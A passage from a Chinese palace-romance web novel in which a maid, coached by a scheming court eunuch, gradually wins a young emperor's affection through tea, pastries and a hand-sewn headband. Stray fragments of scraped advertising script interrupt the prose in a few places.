究其原因，只因尚寝局现下的尚寝女官与掌事宦官都是今上刚即位时，由清妃举荐提拔上来的。 清妃这人……呵呵。 也无怪容掌印防着他们一干人。 这人只得苦哈哈地赔笑：“掌印这话，说得人心里难受。若让奴说，这种事合该论心不论迹——其实咱们揣测圣心又是为了什么呢？今上年轻有为，咱也不敢做什么坏了规矩的事，便是万般揣测，也不过是为将圣驾侍候得更好罢了。” 容承渊点一点头：“这话在理。” 那人心头一喜，正当他能指个明路，却听他话锋一转：“但还是小心为上，咱还是聊点别的吧。” ……不是！聊什么别的啊！ 那人欲哭无泪，容承渊还是慢悠悠地笑着：“我们御前最近新调来一个宫女，生得美若天仙。” 欲哭无泪的人心神一震，旋即明白了什么，想了想，拱手：“若这样说，奴倒不怕见了面认不出，却不知该如何称呼？是少使，还是长使？又姓什么？还请掌印指教，免得奴日后见了冒犯了这位姑娘。” 容承渊笑意深了两分：“姓卫。”说着执起茶盏，压低视线，又道了一句，“不是我吹，她生得比昔日的妩贵姬还要出挑。所幸妩贵姬走得早，不然如今到了她面前，倒被衬成了俗物。” 这话听得让人心惊，所谓“死者为尊大”，这种编排也只有容承渊敢说。 那人忙双手合十仰头向天，念了一声“阿弥陀佛”，心下却也明白了容承渊的意思，转而就道：“竟这样美！日后若有幸能去磕个头，也算人生在世瞧过一回天仙了。” 语毕，两个宦官相视一望，齐齐起身，向他拱手：“奴还得回去复命，不多扰掌印了。” 容承渊仍是那副笑容，颔首淡言：“去吧。” 二人就告了退，捧着那绿头牌，怎么来的便怎么回去。 . 内殿之中，卫湘在皇帝屏退众人时，心里终是生了几分真情实感的慌乱。 她活了十六载，从未与男人行过那种事，哪有不慌的呢？再想起容承渊给她送来的两本册子，那一幅幅让她面红耳赤的画面浮现脑海，变得愈发活色生香了。 14.怜香 卫湘暗自狠咬牙关，直咬得后牙发酸，终是将这份羞赧压制下去。 楚元煜的目光留恋在她面上，再度向她伸出手，却只隔着衣衫执了她的手腕，未有分毫肌肤之触。如此的小心，很有几分呵护之意。 卫湘对此多有意外，不觉间心下滋生几许柔软，又听他轻言：“来。” 只一个字，他便提步向内走去，脚步放得很慢，似乎怕她跟得吃力。 走到内殿尽头，他拐入东墙上的那道门，门内便是寝殿了。卫湘在入门间眼帘稍抬，首先瞧见的是一道屏风，乃是整块的金丝楠木所制，木中金丝稠密，又条条顺滑，上面所雕纹样却既不是龙纹，也不是什么象征吉祥如意的常见纹样。 卫湘不由想多望一眼，可那图景繁复，或人或物都雕得细而小巧，只草草扫上一眼并不能看清。又因她脚下仍随他走着，不过一息工夫，便已从屏风一侧绕过去了，无法再做细观。 取而代之的，是寝殿的气派尽数撞进眼里。相较尽显庄重威严的外殿与内殿，寝殿多了几分柔和舒适。从殿门这端望去，乍见只有暗金色帷幔，足有九道，每一道都自当中分作左右两边。现下天子尚未就寝，这些帷幔的下端便都整齐地束在两侧的漆柱上，上端左右两侧相接，正好成了两个尖角相对的对称三角。 在九道帷幔尽头才是天子御榻，那张黄花梨带门围子拔步床上所挂的窗幔也是暗金的，但比那九道帷幔的颜色更深一度。床上的雕纹在此处看不清晰，只依稀可见其间有金漆勾勒，华贵大气。 卫湘望着这些，心下暗忖这殿中虽是威严气派，却全无其他家具，日常起居恐怕多少有些不便，足下随皇帝走过了第一道帷幔，目光左右一扫，方有了答案。 原来这每两道帷幔间的距离都很宽敞，只是从殿门处瞧不大出。且那帷幔是系在漆柱上，漆柱与两侧墙壁之间又还置了屏风，进一步遮挡了视线，教人难从门口便瞧出内里的乾坤。 现下这般走过来，方知整个寝殿是被这帷幔与屏风隔成了许多小天地，旁的家具就在这些隔断之中。 这第一道幔帐后，两边都是矮柜矮桌，像是供宫人备茶的；第二道后头则是四方高大木柜，每边各二，该是衣柜；第三道后乃是衣架，应是用来提前悬挂整理次日所穿衣物的。 就这样一道道地走过去，她想得到的、想不到的家具便都有了。 直至过了第八道帷幔，再经一道就是御榻，楚元煜停了下来。 卫湘稍有一怔，眉目仍低垂着，视线左右一扫，就见这第八、第九道帷幔间的右侧尽是些茶桌、茶器，但比第一道帘后的精巧很多，陈设也更雅致，当是供天子自行烹茶的修身养性之所。 左边一侧则靠墙置着一方茶榻，上有榻桌，侧旁另有两方书架，但上头的书放得不多，倒还有些文玩之物，想是天子正读的书、正爱摆弄的东西才会姑且放在这里，以便随时赏玩。 楚元煜望她一眼，口吻温和：“你坐一会儿，朕有东西给你看。” 卫湘心生玩味，已然发觉他连同她说话都会将声音放得很轻，一如他方才执她手腕时一样，但他自己倒未见得注意到这一点，可见是她这张脸让他失了魂了。 她于是轻应一声诺，按他所言走向茶榻，他亦走过去，却是朝着旁边的木架去的。 卫湘并未当真落座，只是束手立在茶榻一侧等他。说到底，身份还放在这里，若她真得了句吩咐就大喇喇地在天子面前坐下了，实在是不像话。 楚元煜一时没注意这些，只觉得心里慌乱。 ……又或者并没有乱，只是莫名的慌，一阵阵地让心跳不稳，却也难说清在想些什么。 他便这样心不在焉地拉开了木架半高处的抽屉，翻了一翻，找见了想要的那方盒子，不由一笑。遂将那盒子取出来，回过头下意识地就看茶榻，只见美人立在旁边，并未落座。 “怎的不坐？”他问了一声，就走过去，随手拉了卫湘的衣袖，要与她一同坐在茶榻上。 卫湘心下拿捏着分寸，眼看他先坐定了，并不多扭捏，无声地坐道榻桌另一侧去。 楚元煜将盒子放在榻桌上，推到她面前，轻言：“这是不日前刚送进来的，朕嫌它小了些。姑娘手小，正好可拿去用。” 卫湘注意到他的称呼，一时恍然觉得仿佛面前并非什么天子，而是一位儒雅的文人墨客。 “谢陛下。”卫湘先道了谢，继而却问，“但……这是什么？” 她边说边将盒子打开，原是一只象牙雕回纹葫芦的手炉子。 她心里疑惑了一瞬，很快明白过来，想是她方才解释那点那“雪中春信”的缘故。 ——她说了一句“这样显得暖和”，他便觉得她嫌天冷。 不论先头的称呼还是眼下的细致，都让卫湘觉得新鲜。不料接下来的种种，更全然不同她心中所料。 她本当他虽为九五之尊，在这点子事上和王世才之流也没什么不同，万般讨好都不过是为那张床榻做铺垫；亦或只是不想显得自己太急，那就更有几分伪君子的意味。 可他却只是与她说话，先问了些她过往的事，她一一答了。他因当中一个话头聊到诗词上，她不大懂这些，心里正慌，他却已笑道：“你没读过？也好。这些东西读的人多，大多却不过附庸风雅，没什么意思。” 而后他便起身，走向侧旁一方半人高的矮柜，柜顶上放有茶具，卫湘见状知他是想沏茶，便欲插手，却听他说：“坐。” 卫湘不敢违拗，只得等他将茶端给她。她饮茶时，他就在看着她，眼里含着几许期盼，等她搁下茶盏便问：“喜欢么？” “……挺好喝的。”卫湘低着头，声音很低。 因为对茶，她也说不出个所以然来。 这么一句，她想他自能分辨出她的无知，心下已开始懊恼于自己的鲁莽。 ——是她因玉露的事太过悲愤，又对自己这张脸太自信了，才会这样闯到天子面前来！如今坐下来细说，她才惊觉什么诗词歌赋、品茶研香她皆尽不会，这还怎么入他的眼呢？ 卫湘想到这儿，心里已成灰了。 她已准备 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好了下一句就要被他打发走，却听他又说：“好喝最要紧。一食一茶，万般门道都不如好吃与好喝来得实在。” 而后他语中一顿，接着拊掌传来宫人，随口点了几样点心。 点心很快就送进来，他含笑：“姑娘别拘束，随意用些。” 卫湘心里忽而软了一阵。 她对不上诗词，也讲不出茶的门道，但这吃食点心就直观多了，得凡是人恐怕都能讲出几分好赖。 所以，他是在迁就她。摸索到她的见识深浅，而后顺着她的来，以免尴尬，却又做得润物细无声，好似一切就该这样。 她不料他会这样，觉得有些惊奇，默默地选了块点心来吃。 那点心做成了梅花状，外皮洁白似玉，是山药泥做的，但完全不湿黏，拿起来不会沾得一手，又足够软糯细腻，入口即化。 内里则是以蜂蜜调制的细碎玫瑰，卫湘原就喜欢玫瑰的味道，品了一品，用手帕掩着唇赞道：“好细致的玫瑰，吃来满口盈香，又甜而不腻。” 她夸赞时含起一缕笑，楚元煜看得心旷神怡，不由自主地伸手，也尝了块，颔首：“是不错。” 卫湘从不曾吃过这样讲究的糕点，又因晚上早早就过来等着添香，连晚膳都没用，此时不免被开了胃口，便又纵着自己多吃了两块，一块仍是这山药玫瑰糕，另一块是清新些的龙井酥。 这些都适合就着茶吃，于是三块点心尽了，那盏茶也喝完了。楚元煜抬眸看见，就想为她添茶，她笑道：“不吃了。” 说着她摸出怀表看了一看，柔声提醒他：“陛下该就寝了。” 这话也不虚，现下怀表上的指针已然指到九点了。 早朝是在卯时，也就是五点，之前还需早些起身盥洗、更衣，最迟也得寅时四刻就得起床。 可这话却不虚，由卫湘口中说出来却拼尽了气力。 ——“陛下该就寝了”，那然后呢？ 就如容承渊说的，陛下已近一个月不曾踏足后宫了。 现如今，她在这里。 楚元煜闻言，下意识地扫了眼她手中的怀表，依稀扫见时间，惊觉天色已晚，叹了口气：“罢了，是该睡了。” 说着他站起身，卫湘稳着心神，随他起来，随他的脚步而行。 可他并未走向床榻，却往外去。她不明就里地跟着他走，他一如入殿时一样照顾着她的速度，将脚步压得很慢。 他带她穿过寝殿、走出内殿，一直到外殿门口才停下脚。 稍转过身，他的视线落在她手中捧着的手炉盒子上：“夜晚更冷，手炉添上碳再回去。” 卫湘一怔，一时辨不清这是一句关照还是一种委婉的嫌弃。 或许，他终究没看上她？ 或许方才那些只是闲来无事拿她解一解闷儿，没有在半途见她对那些风雅之事全然不懂时直接打发她走，亦只是想做得像个君子？ 她摸不清，可她不能问。 她只能维持着那种被抬爱的受宠若惊，深深一福：“谢陛下，奴婢告退。” 15.情愫 这一晚，卫湘睡得很不安稳。悬而未决的不安将她困在半梦半醒之间，心里的胡思乱想从未淡去，一时是御前的景象，一时又看见自己被打发回了浣衣局、花房，就这样浑浑噩噩地一直捱到叩门声响起来。 来叩门的是那尚仪女官身边的大宫女，每天都在同样的时辰叩这三声，是唤她们起床。 卫湘睡眼朦胧地坐起身，外面的天还黑着。雪芽一贯睡得挺好，这会儿起床很是利索，卫湘还在缓着神，她已趿拉着绣鞋过去，点亮了两盏灯。 而后就是梳洗更衣，因不能在这事上耽误太多时间，这其间宫女们大多顾不上和同屋闲聊说话，屋里静得只有那些水声与布料摩挲声。 在这梳洗一事上，御前也比别处讲究许多。在被调过来之前，卫湘用冷水洗了十六年的脸，多数时候连沐浴的水都只有冷的。但在御前，热水时时都有。 不过在晨起这时候，卫湘还是喜欢用冷水洗脸，觉得这样提神醒脑。 如今一抔冷水泼到脸上，纠缠卫湘一夜的困扰瞬间被冲开。她微微抬头，视线穿过那些正从羽睫上滚落的水珠，重重地舒出一口气。 想那么多做什么呢！ 左不过再有最多六日，她便能得到结果了。 六日后，尚仪局差来的教习女官就要走了。彼时会有御前的大宫女过来校考，校考通过的便分去御前各处，校考通不过的就再打发到别的地方去。 倘若皇帝真没看上她，到了那时候，容承渊大概便会授意前来校考的宫女把她打发走了吧。 既然如此，她等着就是。 胡思乱想总归是没用的，她又不可能冲进紫宸殿去问天子在做什么打算，再如何想也只是庸人自扰。 卫湘这般想着，迫使自己的心安稳下来。 两刻之后，宫女们穿戴整齐，一同聚到院子里。有两个略迟了片刻的手心就狠狠挨了二十手板，教习女官横眉冷对，厉斥她们：“多少日了？竟还会迟！若再有下次，我定传了刑杖来，叫你们好好长一长记性！” 宫女们哪有不知道刑杖的厉害的？虽说都是挨罚，但那三尺长、两寸厚的板子打下来，和打手板可不是一回事，一时个个都噤若寒蝉，那两个今日迟到的更是要吓哭了。 因而满院都弥漫起了紧张，却有一声不合时宜的笑从院外直刺进这紧张里：“大早上的，姑姑好大的火气，我都不敢进去了。” 一群宫女们都没敢回头，唯那位女官抬眼一瞧，月门外立着个面白无须的宦官，约莫十八九岁，是张为礼。 张为礼虽比容承渊只小几岁，辈分上却是容承渊的大徒弟，要唤容承渊作一声师父。 女官见是他，便敛了怒容，眉眼一转就有了笑，遥遥向他欠了欠身：“张公公，是有差事？” 张为礼是个爱逗贫的，立在外头又说：“我最怕挨骂，姑姑若不骂了，我再进去。” 女官掩唇而笑，无可奈何：“贫什么，快进来吧！” 张为礼这才入了院，一众宫女们犹不敢擅自回头，因此直至他绕过她们来到那女官跟前，她们才瞧见他捧了个托盘。 托盘里别无他物，只有一碟子糕饼，是酥皮的。 张为礼驻足看了看，认出卫湘，径直走向她，笑道：“今晨御膳房进了这玫瑰酥饼，陛下说卫姑娘爱吃山药玫瑰糕，这酥饼大概也合姑娘的口，让咱家送来给姑娘尝尝。” 卫湘听了这话，那颗悬了一夜的心真正地稳下了。 她噙起一抹隐含羞怯地笑，屈膝深福：“谢陛下。”继而便伸手，要将那托盘接过来。 张为礼却没直接将托盘给她，反睇了眼她卧房的方向：“咱家帮姑娘送进去，姑娘只消给咱家指一指放在哪儿便是了！” 他这样说，卫湘自是明白他还有话要私下里讲，那女官亦是明白，见卫湘询问的目光投过来就颔了首，示意她自便。 卫湘朝女官福了身，引着张为礼一道进屋，迈过门槛便识趣地直接阖上了门。 张为礼将那碟子酥饼放在案上，她扫了眼，心头忽又划过一缕不安，便问：“这碟子酥饼，当真是陛下赏的？” 张为礼一怔，旋即明白，笑道：“姑娘多虑。咱家虽是还有别的话要说，是以借了这碟子点心好进屋来，却断断不敢假传圣旨。这点心啊，真是陛下刚亲手点了叫给送来的。” 卫湘松气：“多谢公公。” 张为礼走近几步：“掌印吩咐了，姑娘从今日起就可入殿当差。奉茶、研墨、添香这三件事尽归姑娘做，只一样，姑娘切不可守时。” “怎么说？”卫湘听得一愣。 她从来只听过“切要守时”，却没听过“切不可守时”的。 张为礼笑道：“几日当一回差、几时进殿，姑娘自己看着办，只是别日日都去、也别次次去时都是同一个时辰。最好是……”张为礼揣摩了一下，“最好是隔个三五日去个一两天，这回是午后、下回就是傍晚。” “我懂了。”卫湘缓缓点头，心下已然明朗。 容承渊这是要她吊着皇帝，让皇帝时时想着她，却不能日日都见，连她何时会再当值也摸不清。 ……这就如同盼一坛正酿的美酒，明知那酒就在地窖里，可是偏喝不着。这样再在不经意间突然嗅到点酒香，就觉得那酒更醇香诱人了。 这容承渊啊，是个老狐狸。 只是她转念一想，又不禁蹙眉：“可是公公，我若这样，陛下问起上头的女官我如何当值，可怎么办？” 到时女官若答不上来，便是失职。她也是宫女出身，深知那是怎样的无妄之灾，便不想给旁人招惹这样的麻烦。 张为礼笃然摇头：“放心，陛下不会问。” “好吧。”卫湘点点头，坦然信了他的话。 她知道他会这样说必是深知陛下的心性，没什么可质疑的。 于是当日下午，卫湘便先去了一回紫宸殿。皇帝正自读书，她上前添茶， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 腕上犹用着容承渊给她的那盒香膏。 那香味独特，他昨日又才闻过一回，此时就不自禁地抬起头，果见是她，便笑起来。 她与他视线相触，也盈盈而笑，虽无人说话，却无尽温存。 她再不必为昨夜的事困扰了，今晨那碟酥饼足以证明，他心里已有了她。 至于昨晚他没有留她，没有像她设想中那般的“直截了当”，应只是因为他在色之一字上并无那么心急。 卫湘忽而想到一个词：怜香惜玉。 其实宫人们私下里早便将这四个字用在今上身上了，只是此前她不信。不是不信他，而是压根不信这个词。 她觉得男人哪有什么“怜香惜玉”，只不过是“色迷心窍”的遮羞布。王世才也好、吴王也罢，对她的所谓讨好、呵护与围追堵截里，无不透着满满的欲望。 他们所做的一切，都不过是为了最后能与她在那床幔中寻欢。 诚然，他们仿佛也顾着一点体面，没有做出什么太难看的事情，但那只是因为这是皇宫，他们不得不有所克制。 而她倘若愿意点头、愿意迎合，她毫不怀疑，那一刻在当天晚上就必然会来的。 可当今天子似乎不一样。 她昨日其实算得对他很迎合了，但他却仍没有那个意思。 比起那些色字当头的人，他在单纯地享受与她的相处，甚至她觉得，他仿佛还很享受在与她的相处间对她的迁就照顾。 她因而惊觉：哦，原来“怜香惜玉”是真的存在的。 他这样的人，应当就是真正的怜香惜玉了。 之后的数日，卫湘就如张为礼叮嘱的那样，在紫宸殿里当起了差。 今日是午后进去奉一盏茶，明日是傍晚才去添一味香，然后歇上两天；或又上午就入了殿，在他忙于批阅奏章时立在桌边，静静为他研磨那鲜红的朱砂。 他多半时间还是忙的，因此他们之间的话并不多，可她仍能感觉到他那种细致入微的温柔。 他常在吃到合口的点心时会想起她，若她在身边，就让她直接尝一尝。若她不在，他就着人送到她的住处去，让她吃吃看。 也有两回，她在他用膳时恰在殿里，他就喊她一同用，不由分说地按她坐到桌边，口吻诚挚地劝她安心：“是朕想与你一同用膳，没人敢说什么。况且，御前这些人也不会出去乱嚼舌根。” 她只好依言坐下。他对吃食也很懂得，见她爱吃哪道菜，他总能说出些讲究，娓娓道来却无卖弄之意，让她觉得动听悦耳。 而她一边承着天子的关怀，一边也大着胆子做了些张为礼叮咛之外的事。 她会在研墨、奉茶、用膳的时候忍不住地望着皇帝看，看得挪不开眼睛。 直至他有所察觉，回看过来，她才会蓦然回神，匆匆避开目光，可双颊上的一团绯红却又暴露了她的萌动春心。 美人不可宣之于口的情愫，就这样探进了帝王心里。 16.抹额 如此先后过了五天，御前校考的事了了，同一批的宫女里有两个被打发去了别处。 卫湘自是平安留了下来，同屋的雪芽也留下了，被分在侧殿侍候茶水。 又过去五六日，冬至到了。 依宫里的规矩，冬至这天，各处宫人按例都有新的冬衣。卫湘最初在浣衣局时年年冬至得着的衣裳都只是添了薄薄一层棉的，外料内衬皆为粗麻，若是贴身穿，能磨得人皮肤发红甚至破皮；后来到了造钟处、花房，这一日得着的衣裳内里仍只有薄棉，但内外的料子换成了细棉布，便是贴身穿也不大会磨了。 如今到了御前，她这一日得着的衣裳首先有两件棉衣，一件是长袖、一件是坎肩。两件衣裳都很厚实，外层用的是提花绸，衬里则为细绢，领口、袖口还镶了白色的毛边，瞧着温柔，摸上去更是舒服。 此外每人还有两张毛皮、一匹缎，花色各不相同，是随机送到各个房里的。卫湘这屋，她得着的是一匹月白鳞纹的，雪芽的则是烟粉燕纹。 卫湘瞧着她们得着的都不相同，自觉应该不是拿来裁剪宫装的。可出于谨慎，她没贸然做别的打算，私下里先请教了先前指点过她的琼芳。 这些日子下来，她与琼芳也熟悉了，琼芳听她问这个，不由笑道：“凡事拿不准都知道问一声，你是个聪明的。放心吧，那些料子就是拨给你们随意裁剪的。做来不当值时在屋里穿也好、歇假出宫穿着游玩也好，都不打紧。” “原是这样。”卫湘笑着应了，欠身谢过了琼芳，心里便有了主意。 这日她在戌时才入紫宸殿。冬日里，这个时辰已是月朗星稀，离皇帝就寝的时候也不远了。 平日的这个时辰，皇帝多半在看奏章，尤其政务繁忙的时候，时常看得顾不上就寝，推迟一个时辰才得以歇下的时候也是有的。 但这两日，或是因天冷得急，又或是因政务劳心，皇帝忽觉头疼。御医来看过，却说没什么大碍，只是不妨将养几日，不要太累云云。 是以这两天，皇帝自晚膳后就暂且不看奏章了，只读些闲书，且以诗词歌赋为主，只当修身养性。 御前众人自都对圣体欠安之事心中有数，个个提了十二分的心，伺候得更加仔细，生怕招惹祸端。 因此卫湘端着茶进殿的时候，殿里静得连呼吸声都听不着。她略抬了下眼，只见皇帝坐在书案前，左手持着书卷，右手浅支额头，拇指正有一下没一下地按着太阳穴，面容虽俊逸未减，却多了两分苍白。 她很快压住目光，平心静气地将新茶放在他手边，旧茶则撤了端出去。 很快她又再度回来，这回见他手执狼毫正写什么，就去研墨。 这样研着墨，她就又盯着他看起来，看得目不转睛。与先前的几次一样，他很快就有所察觉，抬眸回视过来，但这一次她避得迟钝了半息，很是与他对视了一瞬才将目光落回那砚台里，面上浮出局促。 楚元煜难得抓到她的“现行”，不禁一笑：“在看什么？” 卫湘局促之意更甚，用力抿了两下唇，意欲强作平静地答话，但声音还是比平日低了许多：“奴婢今日新得了两张皮子，想着陛下这两日头疼，许是着了风所致，琢磨着不妨给陛下做个抹额，却又不知什么尺寸合适，想好好瞧瞧，估计一下。” “哈哈！”楚元煜笑音爽朗，信手丢下书，“哪还需要这样费神估计？你去问问容承渊，再不然去问问尚服局，都能告诉你的。” 然而这话刚说完，他就见她极迅速地扫了眼立在他另一侧的容承渊，双颊正泛起的红晕犹如腊梅在雪地上绽放，死死低下头，像是恨不能就地逃了才好。 楚元煜看得一怔，旋即明朗，恍悟之下脱口而出：“是朕说错了。” 容承渊惯会察言观色，当下眼睛一转便打趣：“姑娘家藏了情谊，不好意思跟外人说，陛下这么一问，明晃晃地全戳破了。”末一句带了一声忍俊不禁的笑音。 楚元煜又扶额按起了太阳穴，无可奈何地乜了他一眼：“朕都认错了，你还非要多说一句，岂不更让姑娘家不知如何自处？” 话音未落，卫湘已撑不住地匆匆一福：“奴婢告退！” 楚元煜哑然，再看过去，就见她已在疾步往外退，端是真的逃了。 他见状也撑不住了，那说不清的好心情让他放声笑起来，一边觉得她已羞成这样，自己心里正盘算的话太过恶劣，一边又还是提高声音把这恶劣的话说了出来：“哈哈哈，人家姑娘好心给朕做点东西，朕倒将人气走了，真是罪过。” 卫湘本已退到门边，正欲转身离去，听到这话忍不住回了下头，瞪他一眼。 这一瞪娇怒并生，楚元煜不由笑得更加开怀，便见美人气得连礼数都顾不上，跺着脚走了。 卫湘维持着这股怒气一直走到外殿大门处。 紫宸殿坐北朝南，南面这一侧几乎尽被大门占据了，拢共分作五道。正中间那道唯天子、太后、皇后可走，旁边两道供大臣出入，武将走右侧，文臣走左边，嫔妃与宗亲若来紫宸殿，也是走这两道门。 再往两侧，最外边的那两道门，才是供宫人行走的。 这两道门修得最窄，但也都可供两人并行。 卫湘一把将门推开，直将外头的宦官吓了一跳，正想怒斥来者太没规矩，抬眸看见是她，又低眉顺眼地把话咽了回去。 冬日的寒风扑在卫湘脸上，她蓦地深吸气，迈出门槛便定住脚，落在旁人眼里，就仿佛她是因这寒风而冷静了。 她立在那里，安静地凝神许久，状似淡泊，一抹浓烈的快意却如重墨坠入清水般迅速散开。 成了！ 无论他是真的无心之语还是以无心遮盖故意，这曾窗户纸被戳破，情愫被摆到明面上，事情都当是成了。 男女之间的事本身就那么一点，左不过他是君子，君子在这种事上总是矜持一些、怜香惜玉一些，不肯显得自己是被色这一刀捅在了心上。 可是，情一旦起了就是起了，终究是想据为己有的。尤其在这些时日里，她于他而言还是“看得着却吃不着”，他一个正年轻气盛的大男人，如何能不想呢？ 只怕早已是百爪挠心了。 且他又是帝王，天下一切尽为他所有，在这样的事上便是自持，也终究会要了自己想要的。 卫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 湘心情甚好，又吁口气，也不再进殿，就直接回了后头的下房去。 她近来都来去自由，不似旁人要守着时辰当差，因此雪芽见她回了房来也并不奇怪，与她打了招呼，说自己正想去取些茶点来吃，就出了门。 然而雪芽才把房门打开，抬眸一扫，就又匆匆退了回来，转身朝卫湘道：“张公公来了，该是找你的。”语毕见张为礼已行至廊下，便福身问安。 卫湘忙也迎过去，同样福身问安，却见张为礼并不是独自来的，后头还跟了两个小宦官，手里托着托盘。 三人一前两后地进了屋，张为礼神情轻松，指了指二人端着的托盘，说笑似的跟卫湘道：“陛下说了，姑娘要给他做东西，已费了神，不能再让姑娘出料子，便用这些做吧。” 卫湘抬眼一瞧，其中一人的托盘中是些玉石珠宝，可挑选着缀在抹额上，不足为奇。但另一人托盘里的料子就有些夸张了，有皮子、有缎子，整齐地叠好，摞了两个小摞，得有七八张的样子。 卫湘心里自知这是什么意思，却含笑走过去翻看着衣料道：“只是个抹额，哪里用得着这么多料子？只消裁一道来用也就够了。” 张为礼低着眼帘，但这全不妨碍他清楚卫湘翻到了哪一块，随着她纤纤玉指的动作逐一解释：“这块月白缎子给陛下做抹额就正合适。到底紫宸殿里暖和，若用皮子就太热了。” “不过若姑娘想为陛下备一条出去能戴的，那这墨狐皮子的也极好。” “至于这块两白狐皮……是陛下今年秋狝时亲手猎得的狐狸，我瞧着若是两块拼成一块，缝成一条及腰的斗篷，姑娘穿着必定好看。” 如此一一说下去，除了那头两样适合做抹额，余下的话里话外都是让卫湘去裁新衣。 卫湘只是笑着听，听完又去看那一盘子珠玉，首先执起一块羊脂白玉扣，自顾说：“这个着工匠打磨成合适的大小，镶在月白色的抹额上，当是正好。”言毕又拿起一块色泽极佳南红：“这个就镶在那墨狐皮子上，黑与红，沉稳大气！” “极是！”张为礼含笑点头，遂也上前一步，拿起块同为红色的宝石来。 宝石已磨成椭圆，足有鸽子蛋大小。 宝石颜色通透，虽同样殷红似血，却不似南红那般沉稳，晶莹的光泽透出几许娇娆。 张为礼道：“这宝石姑娘若喜欢，切出一半，再雕出些棱角，镶成衣扣缀在那白狐皮的斗篷上，想是很衬姑娘的肤色。” 卫湘欣然点头：“我听公公的。” “姑娘客气。”张为礼作势笑揖，接着又道，“想来姑娘忧心陛下受凉的事，必要先给陛下将抹额做了才安心。余下的东西，不若就由咱家直接去安排给尚服局，做完给姑娘送来，省些事？” “有劳了。”卫湘屈膝深福，心里暗暗参详个中深意。 她首先琢磨的是这些意思是真出自陛下还是容承渊的叮嘱，转念又觉这并不紧要。 若是出自陛下，她当然要听张为礼的话，让尚服局尽快将这些赶至出来，以悦圣心；而若是容承渊的意思，那就是容承渊拿准了陛下会喜欢看到她穿这些，便与前者也没什么分别了。 17.得封 张为礼一并带来的自还有皇帝素日穿衣的各样尺寸。因此待送走张为礼，卫湘就忙起了做抹额的事来。抹额并不是什么复杂的东西，即便要点缀珠玉也不费什么工夫。卫湘的女红又素来不差，只用了两日就将两条抹额都做好了。 不过，尚服局那边显是要更快些，在卫湘的第二条抹额收针之前，尚服局的宫女就已将做好的几件衣裳送来了。 一摞衣服整整齐齐地叠放在托盘里，最上头一件正是那白狐皮子缝制的斗篷，长度恰只到腰际往上半寸，既可暖着上身，又能显出卫湘那不盈一握的纤腰来。系扣只有一枚，就是那枚血红宝石，系上后正好在颈前的位置，正能衬得她肌肤胜雪。 往下一件是银红缎子的对襟半臂，对襟上、衣缘处、袖缘处尽镶了一圈上好的白绒。卫湘只伸手一摸就觉出来，这该是做那件斗篷剩下的料子。 对襟半臂之下便是件琵琶袖上袄了，用的是色泽浅淡温柔的淡粉缎面。袄里精细地添了一层细棉，但并不显臃肿，不掩腰身。 袄子再往下翻，则是一条海棠红的马面裙，裙襕上织金绚丽，裙门极宽，便够大气。两侧各有十余道褶子，每一道都有近两寸宽，打得整整齐齐，只是这样叠放着，卫湘都想象得出穿着这样一条裙子行走时，裙褶开合会有多么漂亮。 除却这些，托盘中还另有中衣、中裙各两身，并寝衣一身。卫湘一眼注意到那寝衣的衣料虽丝滑细腻，却很眼生，并非天子昨日所赏的衣料，前来送衣裳的宫女已主动笑言：“这身寝衣所用的珍珠缎是近日新得的，穿来滑爽舒适，光泽也好。分与各宫后恰还多了一匹，尚服女官便吩咐我们做身寝衣给卫姐姐送来。” 她这么一说，卫湘自知是尚服局想与她结个善缘，便坦然收了衣裳，笑道：“替我多谢尚服女官，来日得了空，我请她喝茶。” 那宫女听她这样说，笑意更深：“诺，我一定按姐姐的话转达。” 卫湘颔首请她稍等，自取了些碎银塞给她，又包了几块点心，她便欢欢喜喜地走了。 这两日，卫湘因安心缝制抹额，都没再往紫宸殿去。现下抹额已制成，尚服局又把衣裳也送了来，她就在翌日午后精心梳妆了一番，打开怀表一看，那短针正指着“二”字，是为下午两点。估摸着这会儿正该是皇帝不大忙碌的时候，就用托盘盛着那两条抹额，去了紫宸殿。 果不其然，到了殿门口她一问便听小宦官说“陛下午睡刚起。这两日朝务不忙，一会儿该是只有钦天监要来按例禀些天象上的事，除此便没有哪位大人要觐见了”，她点了点头，托着托盘，步入旁边那道小门。 说来也巧，她穿过正殿、步入内殿时，午睡才起的楚元煜正从寝殿出来。 他本还有些睡意未散，双目惺忪，余光隐见一道倩影娉婷而至，就下意识地望过去。 这么一眼，那睡意就全散了，他不觉有了笑容，望着她颔首：“小湘。” 这是他第一次这样亲昵地唤她，卫湘不免一怔，遂红了脸。 她移步继续前行，他注意到她身上新制的衣裳。 所谓“人靠衣装”他自知不是假的，只是她本身就已极美，他便从未想过若她精心装扮还能更胜平日一筹，一时竟被这等绝美之姿所震，心跳也快起来，直吸了两声凉气。 卫湘对他的惊异只做不觉，低头行至他面前：“奴婢做好了抹额，陛下试试看？” “好。”他欣然应允，左手很自然地伸手将她盛在托盘里的那两条抹额直接拿了起来，右手去握她的手。 卫湘于是将原本双手的托着的托盘换做一手拿着，另一手任由他握住，与他一同走向御案。他落了座，她将托盘先放在了案边，径自绕到他的身后，伸手从他手里抽走了那条月白提花缎镶羊脂玉扣的抹额。 她的动作很小心，仿佛对他心存敬畏，又或也可解做女儿家面对心上人的羞怯。楚元煜垂眸，但笑不语，认真感受着那双温柔的纤手将抹额为他围好、抚平，再在脑后一丝不苟地系上。 “正合适呢！”她欢喜的声音触进他耳中。 可也就是刚说完，他就觉系上的绳子又被抽开了一条，一时不知为何生出心急，忙伸手往脑后一按，恰好按住卫湘要去解第二条系带的手。 她微微歪头，眨眼望着转过脸的他，满眼不解。 他道：“怎的就解了？” 美人眼含惶惑：“另一条陛下不试试？” 楚元煜攥着她的手，笑说：“你的手这样巧，另一条必也合适，不必试了。” 卫湘又问：“那这条便这么戴着？” “自然。”楚元煜的笑意直达眼底，“你做来不就是给朕戴的？” “这倒也是。”卫湘小声嗫嚅，因手仍被他攥着，她挣了挣，他便放开了她，但满眼的笑意仍在她面上转着：“容承渊。” 听到这三个字，卫湘很是滞了一下，这才注意到容承渊原来也在殿里，而且就在离御案几步远的地方，与她咫尺之遥，只是恰好被漆柱的阴影遮挡了身形。 